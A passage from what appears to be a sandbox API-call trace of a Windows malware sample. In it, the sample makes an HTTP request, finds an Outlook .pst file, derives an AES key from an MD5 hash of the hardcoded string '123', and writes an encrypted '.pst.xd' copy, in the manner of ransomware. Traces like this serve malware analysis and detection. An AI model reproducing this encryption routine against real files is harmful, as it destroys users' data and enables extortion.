lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.991] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.991] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.992] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.992] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.992] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.992] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.992] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.992] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.992] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.993] CloseHandle (hObject=0x0) returned 0 [0071.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.993] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0071.993] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0071.993] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.993] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.993] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.993] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.993] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.993] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.993] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.994] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.994] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.994] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.995] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.995] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.995] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.995] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.995] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa010) returned 1 [0071.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.996] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.996] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.996] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.996] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.997] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.997] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.997] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.997] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.997] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.997] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.997] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.998] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.998] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.998] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.998] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.998] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.998] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.998] CryptCreateHash (in: hProv=0x17aa010, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.998] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.999] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.002] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0072.002] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0072.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629510, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0072.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.003] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.003] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.003] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0072.003] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621870, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0072.003] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0072.003] CryptHashData (hHash=0x164c8f0, pbData=0x16294f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0072.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.003] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.004] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.004] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.004] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.004] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0072.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621708, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0072.004] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0072.004] CryptDeriveKey (in: hProv=0x17aa010, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0072.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.004] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.005] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.005] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.005] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.005] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.005] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0072.005] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.005] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.005] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.006] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.006] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.006] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.006] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.006] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.006] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files")) returned 0x10 [0072.006] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Outlook Files\\lcfkj@kiekc.df.pst.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\outlook files\\lcfkj@kiekc.df.pst.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.009] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.009] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.034] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.036] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.039] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.040] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x2400, lpOverlapped=0x0) returned 1 [0072.040] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.048] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.049] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.049] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.049] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 